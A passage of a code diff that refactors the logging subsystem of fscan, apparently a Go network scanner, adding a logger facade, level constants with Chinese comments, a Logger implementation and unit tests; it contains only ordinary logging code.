if tt.wantErr == "" {
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ValidateExclusiveParams error = %v", err)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err == nil || !strings.Contains(err.Error(), tt.wantErr) {
|
||||||
|
t.Fatalf("ValidateExclusiveParams error = %v, want containing %q", err, tt.wantErr)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCleanupWithoutOutput(t *testing.T) {
|
||||||
|
oldResultOutput := ResultOutput
|
||||||
|
oldStdoutWriter := StdoutWriter
|
||||||
|
t.Cleanup(func() {
|
||||||
|
ResultOutput = oldResultOutput
|
||||||
|
StdoutWriter = oldStdoutWriter
|
||||||
|
})
|
||||||
|
|
||||||
|
ResultOutput = nil
|
||||||
|
StdoutWriter = nil
|
||||||
|
if err := Cleanup(); err != nil {
|
||||||
|
t.Fatalf("Cleanup error = %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,50 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"sync"
|
|
||||||
)
|
|
||||||
|
|
||||||
func LogSuccess(result string){
|
|
||||||
mutex := &sync.Mutex{}
|
|
||||||
mutex.Lock()
|
|
||||||
fmt.Println(result)
|
|
||||||
if IsSave {
|
|
||||||
WriteFile(result,Outputfile)
|
|
||||||
}
|
|
||||||
mutex.Unlock()
|
|
||||||
}
|
|
||||||
func WriteFile(result string,filename string) {
|
|
||||||
var text = []byte(result+"\n")
|
|
||||||
fl, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0777)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println(err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer fl.Close()
|
|
||||||
_, err = fl.Write(text)
|
|
||||||
if err!= nil{
|
|
||||||
fmt.Println(err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
//err := ioutil.WriteFile(filename, text, 0666)
|
|
||||||
//if err!= nil{
|
|
||||||
// fmt.Println(err)
|
|
||||||
//}
|
|
||||||
//var f *os.File
|
|
||||||
//var err error
|
|
||||||
//if checkFileIsExist(filename) { //如果文件存在
|
|
||||||
// f, err = os.OpenFile(filename, os.O_APPEND, 0666) //打开文件
|
|
||||||
// fmt.Println("文件存在")
|
|
||||||
//} else {
|
|
||||||
// f, err = os.Create(filename) //创建文件
|
|
||||||
// fmt.Println("文件不存在")
|
|
||||||
//}
|
|
||||||
//func checkFileIsExist(filename string) bool {
|
|
||||||
// var exist = true
|
|
||||||
// if _, err := os.Stat(filename); os.IsNotExist(err) {
|
|
||||||
// exist = false
|
|
||||||
// }
|
|
||||||
// return exist
|
|
||||||
//}
|
|
||||||
@@ -0,0 +1,129 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
/*
|
||||||
|
logger.go - 日志系统简化接口
|
||||||
|
|
||||||
|
提供统一的日志API,底层使用logging包实现。
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/logging"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
globalLogger *logging.Logger
|
||||||
|
loggerOnce sync.Once
|
||||||
|
loggerMu sync.Mutex
|
||||||
|
silentLoggerRefs int
|
||||||
|
)
|
||||||
|
|
||||||
|
func getGlobalLogger() *logging.Logger {
|
||||||
|
loggerMu.Lock()
|
||||||
|
defer loggerMu.Unlock()
|
||||||
|
|
||||||
|
loggerOnce.Do(func() {
|
||||||
|
fv := GetFlagVars()
|
||||||
|
level := getLogLevelFromString(fv.LogLevel)
|
||||||
|
config := &logging.LoggerConfig{
|
||||||
|
Level: level,
|
||||||
|
EnableColor: !fv.NoColor,
|
||||||
|
SlowOutput: false,
|
||||||
|
ShowProgress: !fv.DisableProgress,
|
||||||
|
Silent: fv.Silent || silentLoggerRefs > 0,
|
||||||
|
StartTime: GetGlobalState().GetStartTime(),
|
||||||
|
}
|
||||||
|
if fv.Debug {
|
||||||
|
config.DebugLogFile = "fscan_debug.log"
|
||||||
|
}
|
||||||
|
globalLogger = logging.NewLogger(config)
|
||||||
|
globalLogger.SetCoordinatedOutput(LogWithProgress)
|
||||||
|
})
|
||||||
|
return globalLogger
|
||||||
|
}
|
||||||
|
|
||||||
|
func getLogLevelFromString(levelStr string) logging.LogLevel {
|
||||||
|
switch strings.ToLower(levelStr) {
|
||||||
|
case "all":
|
||||||
|
return logging.LevelAll
|
||||||
|
case "error":
|
||||||
|
return logging.LevelError
|
||||||
|
case "base":
|
||||||
|
return logging.LevelBase
|
||||||
|
case "info":
|
||||||
|
return logging.LevelInfo
|
||||||
|
case "success":
|
||||||
|
return logging.LevelSuccess
|
||||||
|
case "debug":
|
||||||
|
return logging.LevelDebug
|
||||||
|
case "info,success":
|
||||||
|
return logging.LevelInfoSuccess
|
||||||
|
case "base,info,success", "base_info_success":
|
||||||
|
return logging.LevelBaseInfoSuccess
|
||||||
|
default:
|
||||||
|
return logging.LevelInfoSuccess
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// InitLogger 初始化日志系统
|
||||||
|
func InitLogger() {
|
||||||
|
getGlobalLogger().Initialize()
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogDebug 输出调试日志
|
||||||
|
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
|
||||||
|
|
||||||
|
// LogInfo 输出信息日志
|
||||||
|
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
|
||||||
|
|
||||||
|
// LogSuccess 输出成功日志(Web指纹等)
|
||||||
|
func LogSuccess(result string) { getGlobalLogger().Success(result) }
|
||||||
|
|
||||||
|
// LogVuln 输出漏洞/重要发现日志(密码成功、漏洞等)
|
||||||
|
func LogVuln(result string) { getGlobalLogger().Vuln(result) }
|
||||||
|
|
||||||
|
// LogError 输出错误日志
|
||||||
|
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
|
||||||
|
|
||||||
|
// CloseLogger 关闭日志系统,释放文件资源
|
||||||
|
func CloseLogger() {
|
||||||
|
loggerMu.Lock()
|
||||||
|
defer loggerMu.Unlock()
|
||||||
|
closeLoggerLocked()
|
||||||
|
}
|
||||||
|
|
||||||
|
// PushSilentLogger suppresses process-wide legacy log output until the returned
|
||||||
|
// restore function is called. It is reference counted so concurrent embedded
|
||||||
|
// scans can overlap safely.
|
||||||
|
func PushSilentLogger() func() {
|
||||||
|
loggerMu.Lock()
|
||||||
|
silentLoggerRefs++
|
||||||
|
resetLoggerLocked()
|
||||||
|
loggerMu.Unlock()
|
||||||
|
|
||||||
|
var once sync.Once
|
||||||
|
return func() {
|
||||||
|
once.Do(func() {
|
||||||
|
loggerMu.Lock()
|
||||||
|
if silentLoggerRefs > 0 {
|
||||||
|
silentLoggerRefs--
|
||||||
|
}
|
||||||
|
resetLoggerLocked()
|
||||||
|
loggerMu.Unlock()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func resetLoggerLocked() {
|
||||||
|
closeLoggerLocked()
|
||||||
|
globalLogger = nil
|
||||||
|
loggerOnce = sync.Once{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func closeLoggerLocked() {
|
||||||
|
if globalLogger != nil {
|
||||||
|
globalLogger.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func preserveLoggerForTest(t *testing.T) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
loggerMu.Lock()
|
||||||
|
oldSilentRefs := silentLoggerRefs
|
||||||
|
silentLoggerRefs = 0
|
||||||
|
resetLoggerLocked()
|
||||||
|
loggerMu.Unlock()
|
||||||
|
|
||||||
|
t.Cleanup(func() {
|
||||||
|
loggerMu.Lock()
|
||||||
|
closeLoggerLocked()
|
||||||
|
silentLoggerRefs = oldSilentRefs
|
||||||
|
resetLoggerLocked()
|
||||||
|
loggerMu.Unlock()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLoggerFacadeSilentLifecycle(t *testing.T) {
|
||||||
|
preserveLoggerForTest(t)
|
||||||
|
|
||||||
|
previousFlags := GetFlagVars()
|
||||||
|
previousState := GetGlobalState()
|
||||||
|
t.Cleanup(func() {
|
||||||
|
flagVars = previousFlags
|
||||||
|
SetGlobalState(previousState)
|
||||||
|
})
|
||||||
|
flagVars = &FlagVars{Silent: true, LogLevel: "debug"}
|
||||||
|
SetGlobalState(NewState())
|
||||||
|
|
||||||
|
InitLogger()
|
||||||
|
LogDebug("debug")
|
||||||
|
LogInfo("info")
|
||||||
|
LogSuccess("success")
|
||||||
|
LogVuln("vuln")
|
||||||
|
LogError("error")
|
||||||
|
CloseLogger()
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPushSilentLoggerReferenceCount(t *testing.T) {
|
||||||
|
preserveLoggerForTest(t)
|
||||||
|
|
||||||
|
restoreOne := PushSilentLogger()
|
||||||
|
restoreTwo := PushSilentLogger()
|
||||||
|
if silentLoggerRefs != 2 {
|
||||||
|
t.Fatalf("silent refs = %d, want 2", silentLoggerRefs)
|
||||||
|
}
|
||||||
|
|
||||||
|
restoreOne()
|
||||||
|
restoreOne()
|
||||||
|
if silentLoggerRefs != 1 {
|
||||||
|
t.Fatalf("silent refs after first restore = %d, want 1", silentLoggerRefs)
|
||||||
|
}
|
||||||
|
|
||||||
|
restoreTwo()
|
||||||
|
if silentLoggerRefs != 0 {
|
||||||
|
t.Fatalf("silent refs after second restore = %d, want 0", silentLoggerRefs)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
package logging
|
||||||
|
|
||||||
|
/*
|
||||||
|
constants.go - 日志系统常量定义
|
||||||
|
|
||||||
|
统一管理common/logging包中的所有常量,便于查看和编辑。
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 日志级别常量 - 层级设计
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// LogLevel 日志级别类型(数值越小越详细)
|
||||||
|
type LogLevel int
|
||||||
|
|
||||||
|
// 定义系统支持的日志级别常量(层级:Debug < Base < Info < Success < Vuln < Error)
|
||||||
|
const (
|
||||||
|
LevelDebug LogLevel = 0 // 调试信息(最详细)
|
||||||
|
LevelBase LogLevel = 1 // 基础信息(扫描进度等)
|
||||||
|
LevelInfo LogLevel = 2 // 一般信息(端口开放、服务识别等)
|
||||||
|
LevelSuccess LogLevel = 3 // 成功结果(Web指纹等)
|
||||||
|
LevelVuln LogLevel = 4 // 重要发现(弱密码、漏洞等)
|
||||||
|
LevelError LogLevel = 5 // 错误信息(始终显示)
|
||||||
|
)
|
||||||
|
|
||||||
|
// 向后兼容的别名
|
||||||
|
const (
|
||||||
|
LevelAll LogLevel = LevelDebug // ALL 等同于 Debug(显示所有)
|
||||||
|
LevelInfoSuccess LogLevel = LevelInfo // 废弃,映射到 Info
|
||||||
|
LevelBaseInfoSuccess LogLevel = LevelBase // 废弃,映射到 Base
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 时间显示常量 (从Formatter.go迁移)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
// MaxMillisecondDisplay 毫秒显示的最大时长
|
||||||
|
MaxMillisecondDisplay = time.Second
|
||||||
|
// MaxSecondDisplay 秒显示的最大时长
|
||||||
|
MaxSecondDisplay = time.Minute
|
||||||
|
// MaxMinuteDisplay 分钟显示的最大时长
|
||||||
|
MaxMinuteDisplay = time.Hour
|
||||||
|
|
||||||
|
// SlowOutputDelay 慢速输出延迟
|
||||||
|
SlowOutputDelay = 50 * time.Millisecond
|
||||||
|
|
||||||
|
// ProgressClearDelay 进度条清除延迟
|
||||||
|
ProgressClearDelay = 10 * time.Millisecond
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 日志前缀常量 (从Formatter.go迁移)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
// PrefixDebug 调试日志前缀
|
||||||
|
PrefixDebug = "[.]"
|
||||||
|
// PrefixInfo 信息日志前缀
|
||||||
|
PrefixInfo = "[*]"
|
||||||
|
// PrefixSuccess 成功日志前缀
|
||||||
|
PrefixSuccess = "[+]"
|
||||||
|
// PrefixVuln 漏洞/重要发现前缀
|
||||||
|
PrefixVuln = "[!]"
|
||||||
|
// PrefixError 错误日志前缀
|
||||||
|
PrefixError = "[-]"
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 默认配置常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
// DefaultLevel 默认日志级别
|
||||||
|
DefaultLevel = LevelAll
|
||||||
|
// DefaultEnableColor 默认启用彩色输出
|
||||||
|
DefaultEnableColor = true
|
||||||
|
// DefaultSlowOutput 默认不启用慢速输出
|
||||||
|
DefaultSlowOutput = false
|
||||||
|
// DefaultShowProgress 默认显示进度条
|
||||||
|
DefaultShowProgress = true
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 默认颜色映射
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// GetDefaultLevelColors 获取默认的日志级别颜色映射
|
||||||
|
func GetDefaultLevelColors() map[LogLevel]interface{} {
|
||||||
|
return map[LogLevel]interface{}{
|
||||||
|
LevelError: color.FgYellow, // 错误日志显示黄色
|
||||||
|
LevelVuln: color.FgRed, // 漏洞/重要发现显示红色(密码成功、漏洞等)
|
||||||
|
LevelBase: color.FgWhite, // 基础日志显示白色(普通信息)
|
||||||
|
LevelInfo: color.FgWhite, // 信息日志显示白色(普通信息)
|
||||||
|
LevelSuccess: color.FgGreen, // 成功日志显示绿色(Web指纹等)
|
||||||
|
LevelDebug: color.FgWhite, // 调试日志显示白色
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
package logging
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LogEntry 日志条目
|
||||||
|
type LogEntry struct {
|
||||||
|
Level LogLevel `json:"level"`
|
||||||
|
Time time.Time `json:"time"`
|
||||||
|
Content string `json:"content"`
|
||||||
|
Source string `json:"source"`
|
||||||
|
Metadata map[string]interface{} `json:"metadata"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoggerConfig 日志器配置
|
||||||
|
type LoggerConfig struct {
|
||||||
|
Level LogLevel `json:"level"`
|
||||||
|
EnableColor bool `json:"enable_color"`
|
||||||
|
SlowOutput bool `json:"slow_output"`
|
||||||
|
ShowProgress bool `json:"show_progress"`
|
||||||
|
Silent bool `json:"silent"`
|
||||||
|
StartTime time.Time `json:"start_time"`
|
||||||
|
LevelColors map[LogLevel]interface{} `json:"-"`
|
||||||
|
DebugLogFile string `json:"debug_log_file"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultLoggerConfig 默认日志器配置
|
||||||
|
func DefaultLoggerConfig() *LoggerConfig {
|
||||||
|
return &LoggerConfig{
|
||||||
|
Level: DefaultLevel,
|
||||||
|
EnableColor: DefaultEnableColor,
|
||||||
|
SlowOutput: DefaultSlowOutput,
|
||||||
|
ShowProgress: DefaultShowProgress,
|
||||||
|
StartTime: time.Now(),
|
||||||
|
LevelColors: GetDefaultLevelColors(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Logger 简化的日志管理器
|
||||||
|
type Logger struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
config *LoggerConfig
|
||||||
|
startTime time.Time
|
||||||
|
coordinatedOutput func(string)
|
||||||
|
initialized bool
|
||||||
|
debugFile *os.File
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewLogger 创建新的日志管理器
|
||||||
|
func NewLogger(config *LoggerConfig) *Logger {
|
||||||
|
if config == nil {
|
||||||
|
config = DefaultLoggerConfig()
|
||||||
|
}
|
||||||
|
|
||||||
|
l := &Logger{
|
||||||
|
config: config,
|
||||||
|
startTime: config.StartTime,
|
||||||
|
initialized: true,
|
||||||
|
}
|
||||||
|
|
||||||
|
if config.DebugLogFile != "" {
|
||||||
|
f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||||
|
if err == nil {
|
||||||
|
l.debugFile = f
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return l
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize 初始化日志器
|
||||||
|
func (l *Logger) Initialize() {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
l.initialized = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetCoordinatedOutput 设置协调输出函数
|
||||||
|
func (l *Logger) SetCoordinatedOutput(outputFunc func(string)) {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
l.coordinatedOutput = outputFunc
|
||||||
|
}
|
||||||
|
|
||||||
|
// Debug 输出调试信息
|
||||||
|
func (l *Logger) Debug(msg string) {
|
||||||
|
l.log(LevelDebug, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Base 输出基础信息
|
||||||
|
func (l *Logger) Base(msg string) {
|
||||||
|
l.log(LevelBase, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Info 输出信息
|
||||||
|
func (l *Logger) Info(msg string) {
|
||||||
|
l.log(LevelInfo, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Success 输出成功信息
|
||||||
|
func (l *Logger) Success(msg string) {
|
||||||
|
l.log(LevelSuccess, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Vuln 输出漏洞/重要发现信息
|
||||||
|
func (l *Logger) Vuln(msg string) {
|
||||||
|
l.log(LevelVuln, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Error 输出错误信息
|
||||||
|
func (l *Logger) Error(msg string) {
|
||||||
|
l.log(LevelError, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// log 内部日志处理方法
|
||||||
|
func (l *Logger) log(level LogLevel, content string) {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
|
if l.config.Silent {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if !l.shouldLog(level) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 格式化消息:保留前缀,去掉时间戳
|
||||||
|
prefix := l.getLevelPrefix(level)
|
||||||
|
|
||||||
|
// 处理多行内容:给每行加上前缀,然后作为一个整体输出
|
||||||
|
if strings.Contains(content, "\n") {
|
||||||
|
lines := strings.Split(content, "\n")
|
||||||
|
var formattedLines []string
|
||||||
|
for _, line := range lines {
|
||||||
|
if line != "" {
|
||||||
|
formattedLines = append(formattedLines, fmt.Sprintf("%s %s", prefix, line))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
logMsg := strings.Join(formattedLines, "\n")
|
||||||
|
l.outputMessage(level, logMsg)
|
||||||
|
} else {
|
||||||
|
logMsg := fmt.Sprintf("%s %s", prefix, content)
|
||||||
|
l.outputMessage(level, logMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 写入debug日志文件(纯文本,无颜色)
|
||||||
|
if l.debugFile != nil {
|
||||||
|
timestamp := time.Since(l.startTime).Truncate(time.Millisecond)
|
||||||
|
if strings.Contains(content, "\n") {
|
||||||
|
lines := strings.Split(content, "\n")
|
||||||
|
for _, line := range lines {
|
||||||
|
if line != "" {
|
||||||
|
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 根据慢速输出设置决定是否添加延迟
|
||||||
|
if l.config.SlowOutput {
|
||||||
|
time.Sleep(SlowOutputDelay)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭日志器,释放文件资源
|
||||||
|
func (l *Logger) Close() {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
if l.debugFile != nil {
|
||||||
|
_ = l.debugFile.Close()
|
||||||
|
l.debugFile = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// shouldLog 检查是否应该记录该级别的日志
|
||||||
|
// 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示
|
||||||
|
func (l *Logger) shouldLog(level LogLevel) bool {
|
||||||
|
// Error 级别始终显示
|
||||||
|
if level == LevelError {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// 层级过滤:消息级别 >= 配置级别
|
||||||
|
return level >= l.config.Level
|
||||||
|
}
|
||||||
|
|
||||||
|
// outputMessage 输出消息
|
||||||
|
func (l *Logger) outputMessage(level LogLevel, logMsg string) {
|
||||||
|
if l.coordinatedOutput != nil {
|
||||||
|
// 使用协调输出(与进度条配合)
|
||||||
|
if l.config.EnableColor {
|
||||||
|
if colorAttr, ok := l.config.LevelColors[level]; ok {
|
||||||
|
if attr, ok := colorAttr.(color.Attribute); ok {
|
||||||
|
coloredMsg := color.New(attr).Sprint(logMsg)
|
||||||
|
l.coordinatedOutput(coloredMsg)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
l.coordinatedOutput(logMsg)
|
||||||
|
} else {
|
||||||
|
// 直接输出
|
||||||
|
if l.config.EnableColor {
|
||||||
|
if colorAttr, ok := l.config.LevelColors[level]; ok {
|
||||||
|
if attr, ok := colorAttr.(color.Attribute); ok {
|
||||||
|
_, _ = color.New(attr).Println(logMsg)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fmt.Println(logMsg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// formatElapsedTime 格式化经过的时间
|
||||||
|
func (l *Logger) formatElapsedTime(elapsed time.Duration) string {
|
||||||
|
switch {
|
||||||
|
case elapsed < MaxMillisecondDisplay:
|
||||||
|
return fmt.Sprintf("%dms", elapsed.Milliseconds())
|
||||||
|
case elapsed < MaxSecondDisplay:
|
||||||
|
return fmt.Sprintf("%.1fs", elapsed.Seconds())
|
||||||
|
case elapsed < MaxMinuteDisplay:
|
||||||
|
minutes := int(elapsed.Minutes())
|
||||||
|
seconds := int(elapsed.Seconds()) % 60
|
||||||
|
return fmt.Sprintf("%dm%ds", minutes, seconds)
|
||||||
|
default:
|
||||||
|
hours := int(elapsed.Hours())
|
||||||
|
minutes := int(elapsed.Minutes()) % 60
|
||||||
|
seconds := int(elapsed.Seconds()) % 60
|
||||||
|
return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// getLevelPrefix 获取日志级别前缀
|
||||||
|
func (l *Logger) getLevelPrefix(level LogLevel) string {
|
||||||
|
switch level {
|
||||||
|
case LevelDebug:
|
||||||
|
return PrefixDebug
|
||||||
|
case LevelInfo:
|
||||||
|
return PrefixInfo
|
||||||
|
case LevelSuccess:
|
||||||
|
return PrefixSuccess
|
||||||
|
case LevelVuln:
|
||||||
|
return PrefixVuln
|
||||||
|
case LevelError:
|
||||||
|
return PrefixError
|
||||||
|
default:
|
||||||
|
return PrefixInfo // 默认使用 Info 前缀
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,692 @@
|
|||||||
|
package logging
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
logger_test.go - 日志系统测试
|
||||||
|
|
||||||
|
测试目标:Logger核心功能
|
||||||
|
价值:日志是程序的眼睛,错误会导致:
|
||||||
|
- 关键信息丢失(用户看不到错误)
|
||||||
|
- 性能问题(并发日志混乱)
|
||||||
|
- 调试困难(时间格式错误)
|
||||||
|
|
||||||
|
"日志不是可选功能。日志丢失或错误,等于程序在撒谎。
|
||||||
|
测试必须验证:过滤正确、格式正确、并发安全。"
|
||||||
|
*/
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 测试辅助函数
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// captureOutput 捕获日志输出(不污染控制台)
|
||||||
|
type captureOutput struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
output []string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *captureOutput) Write(msg string) {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
c.output = append(c.output, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *captureOutput) Get() []string {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
result := make([]string, len(c.output))
|
||||||
|
copy(result, c.output)
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *captureOutput) Clear() {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
c.output = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// createTestLogger 创建测试用Logger(捕获输出)
|
||||||
|
func createTestLogger(level LogLevel, enableColor bool) (*Logger, *captureOutput) {
|
||||||
|
capture := &captureOutput{}
|
||||||
|
config := &LoggerConfig{
|
||||||
|
Level: level,
|
||||||
|
EnableColor: enableColor,
|
||||||
|
SlowOutput: false, // 测试时禁用慢速输出
|
||||||
|
ShowProgress: false,
|
||||||
|
StartTime: time.Now(),
|
||||||
|
LevelColors: GetDefaultLevelColors(),
|
||||||
|
}
|
||||||
|
logger := NewLogger(config)
|
||||||
|
logger.SetCoordinatedOutput(capture.Write)
|
||||||
|
return logger, capture
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// Logger - 基础功能测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestNewLogger_DefaultConfig 测试默认配置
|
||||||
|
func TestNewLogger_DefaultConfig(t *testing.T) {
|
||||||
|
// nil配置应该使用默认值
|
||||||
|
logger := NewLogger(nil)
|
||||||
|
|
||||||
|
if logger == nil {
|
||||||
|
t.Fatal("NewLogger(nil) 应该返回有效的logger")
|
||||||
|
}
|
||||||
|
|
||||||
|
if logger.config == nil {
|
||||||
|
t.Error("config不应为nil(应使用默认配置)")
|
||||||
|
}
|
||||||
|
|
||||||
|
if logger.config.Level != DefaultLevel {
|
||||||
|
t.Errorf("默认Level = %v, want %v", logger.config.Level, DefaultLevel)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !logger.initialized {
|
||||||
|
t.Error("logger应该已初始化")
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ 默认配置测试通过")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewLogger_CustomConfig 测试自定义配置
|
||||||
|
func TestNewLogger_CustomConfig(t *testing.T) {
|
||||||
|
config := &LoggerConfig{
|
||||||
|
Level: LevelError,
|
||||||
|
EnableColor: false,
|
||||||
|
SlowOutput: true,
|
||||||
|
ShowProgress: false,
|
||||||
|
StartTime: time.Now(),
|
||||||
|
LevelColors: GetDefaultLevelColors(),
|
||||||
|
}
|
||||||
|
|
||||||
|
logger := NewLogger(config)
|
||||||
|
|
||||||
|
if logger.config.Level != LevelError {
|
||||||
|
t.Errorf("Level = %v, want %v", logger.config.Level, LevelError)
|
||||||
|
}
|
||||||
|
|
||||||
|
if logger.config.EnableColor {
|
||||||
|
t.Error("EnableColor应该为false")
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ 自定义配置测试通过")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestLogger_AllLevels 测试所有日志级别
|
||||||
|
//
|
||||||
|
// 验证:每个级别都能正确输出
|
||||||
|
func TestLogger_AllLevels(t *testing.T) {
|
||||||
|
logger, capture := createTestLogger(LevelAll, false)
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
logFunc func(string)
|
||||||
|
message string
|
||||||
|
wantMsg string
|
||||||
|
wantPfx string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "Debug级别",
|
||||||
|
logFunc: logger.Debug,
|
||||||
|
message: "debug message",
|
||||||
|
wantMsg: "debug message",
|
||||||
|
wantPfx: PrefixDebug,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "Base级别",
|
||||||
|
logFunc: logger.Base,
|
||||||
|
message: "base message",
|
||||||
|
wantMsg: "base message",
|
||||||
|
wantPfx: PrefixInfo, // Base 已废弃,默认使用 Info 前缀
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "Info级别",
|
||||||
|
logFunc: logger.Info,
|
||||||
|
message: "info message",
|
||||||
|
wantMsg: "info message",
|
||||||
|
wantPfx: PrefixInfo,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "Success级别",
|
||||||
|
